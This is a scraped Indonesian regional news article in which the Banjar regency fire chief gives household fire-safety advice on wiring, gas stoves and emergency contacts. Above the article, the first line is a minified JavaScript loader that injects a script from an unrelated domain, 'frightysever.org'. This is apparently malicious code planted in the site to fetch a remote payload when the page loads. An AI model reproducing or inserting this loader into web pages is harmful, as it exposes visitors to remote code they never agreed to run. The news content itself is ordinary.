(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
KANALKALIMANTAN.COM, MARTAPURA – Maraknya peristiwa kebakaran yang terjadi di Kabupaten Banjar belakangan ini cukup meresahkan bagi masyarakat. Masyarakat diimbau untuk tidak panik.
Jika terjadi kebakaran, area-area padat penduduk menjadi wilayah yang paling mudah untuk menyebarnya api. Gusti Yudi, Kepala UPT Damkar Kab Banjar, memberikan himbauan kepada masyarakat.
“Diharapkan masyarakat terutama pemilik atau penghuni maupun pengelola bangunan agar selalu memperhatikan kondisi bangunan masing-masing,
karena mereka penanggung jawab utama keamanan bangunan tersebut.
Baca juga: UPDATE Covid-19 Kalsel: Sembuh 52, Kasus Positif 202, Total Sembuh 34.826 Orang
“Tolong perhatikan instalasi listrik dalam bangunan, melakukan peremajaan kelistrikan minimal 10 tahun sekali, dan menggunakan instalasi listrik standar SNI,” imbau Kepala UPT Damkar Kabupaten Banjar, Gusti Yudi kepada kanalkalimantan.com, Minggu (11/7/2021).
Gusti Yudi juga mengatakan untuk tidak menumpuk banyak sambungan pada setop kontak, tidak mengutak-atik perangkat meter listrik, dan jika ingin menambah daya listrik langsung menghubungi pihak PLN secara resmi.
“Seringkali api kali pertama muncul di bagian dapur. Jadi jauhkan barang yang mudah terbakar dari dapur, bersihkan selalu kompor, periksa secara berkala kondisi regulator, selang, dan kompor,” ujar dia.
Ia juga berpesan agar tidak gegabah dalam menyalakan kompor.
“Kalau kompor gas, perlu tiga langkah yang diperhatikan sebelum menekan pemantik api. Cium, dengar, dan rasakan apakah ada kebocoran gas,” katanya.
Kemudian, lanjut Yudi, jika ada, segera lepas regulator. Benarkan dulu jika ada yang salah, baru gunakan kembali. Jangan lupa untuk menyiapkan karung goni atau sejenis kain tebal dekat sumber air di dapur agar dapat digunakan untuk memadamkan api.
Baca juga: UPDATE. Kebakaran di Gang Family Hanguskan 4 Rumah, 2 Relawan Pemadam Terluka Saat Evakuasi
Caranya basahi kain tersebut untuk menyelimuti seluruh bagian permukaan kompor, sebelumnya lepas dulu regulator gas,” ucap Gusti Yudi.
Ia menyebut penanganan ini sebagai langkah awal yang sangat menentukan kebakaran akan meluas atau tidak.
“Biasanya itu penghuni langsung panik, bukannya ditangani tapi malah lari. Api ditinggalkan begitu saja, di situ api jadi tidak terkendali dan membesar. Jadi tolong usahakan jangan panik dulu,” ucap dia.
Gusti Yudi memberikan nomor call center yang dapat dihubungi apabila api tidak terkendali.
“Call center kedaruratan Kabupaten Banjar tekan 112, layanan ini bebas pulsa. Bisa juga ke 085752877887 dan bisa juga menghubungi saya langsung ke nomor 081349557717. Jika ada kenalan nomor relawan atau petugas pemadam kebakaran dan menghubungi secara pribadi juga bisa. Unit bisa langsung meluncur ke lokasi asal diberikan alamat dan titik kebakaran yang jelas,” pungkas dia. (kanalkalimantan.com/nurul).
Reporter: nurul
Editor: dhani
KANALKALIMANTAN.COM, KUALA KAPUAS - Atraksi budaya ritual Laluhan Suku Dayak Ngaju ditampilkan memeriahkan Hari Jadi… Read More
KANALKALIMANTAN.COM, BANJARBARU - Para pencari kerja di Ibu Kota Provinsi Kalimantan Selatan diminta untuk mempersiapkan… Read More
KANALKALIMANTAN.COM, BANJARMASIN - Kasus tindak pidana korupsi kembali mengemuka di Provinsi Kalimantan Selatan (Kalsel). Kali… Read More
KANALKALIMANTAN.COM, BANJARBARU – Menjadikan Kota Banjarbaru sebagai kota metropolitan di Provinsi Kalimantan Selatan (Kalsel) masuk… Read More
KANALKALIMANTAN.COM, AMUNTAI - Lomba balogo meramaikan rangkaian Hari Jadi ke-72 Kabupaten Hulu Sungai Utara (HSU).… Read More
KANALKALIMANTAN.COM, MARTAPURA - Bupati Banjar H Saidi Mansyur membuka Sosialisasi dan Rapat Koordinasi (Rakor) Penyelenggaraan… Read More
This website uses cookies.